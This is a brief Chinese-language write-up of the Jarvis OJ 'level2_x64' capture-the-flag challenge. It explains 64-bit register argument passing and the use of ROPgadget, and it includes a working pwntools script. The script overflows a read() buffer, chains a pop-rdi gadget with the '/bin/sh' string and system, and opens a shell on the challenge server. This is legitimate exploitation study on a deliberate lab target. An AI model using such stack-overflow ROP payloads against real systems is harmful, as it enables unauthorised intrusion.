题目地址
https://dn.jarvisoj.com/challengefiles/level2_x64.04d700633c6dc26afc6a1e7e9df8c94e
已经知道了它是64位了,那么看看保护
用IDA看看
输出hello world 之前调用vulnerable_funcion
之后read函数存在溢出,shift+F12存在shell
大致的思路跟level2差不多,不过这是64位的程序
参数的传递方式和32位不一样,32位是通过栈传参,而64位通过edi寄存器传参,我们就需要覆盖edi的值
64位参数传递约定:前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9中
参数超过六个时,从第七个开始压入栈中
现在我们需要把/bin/shell的地址放入edi中,但是找不到edi的地址,所以需要用ropgadget来找到需要的rop链
开始构造脚本
from pwn import * r=remote('pwn2.jarvisoj.com',9882) payload='a'*0x88+p64(0x4006b3)+p64(0x600A90)+p64(0x4004c0) r.sendline(payload) r.interactive()
得到flag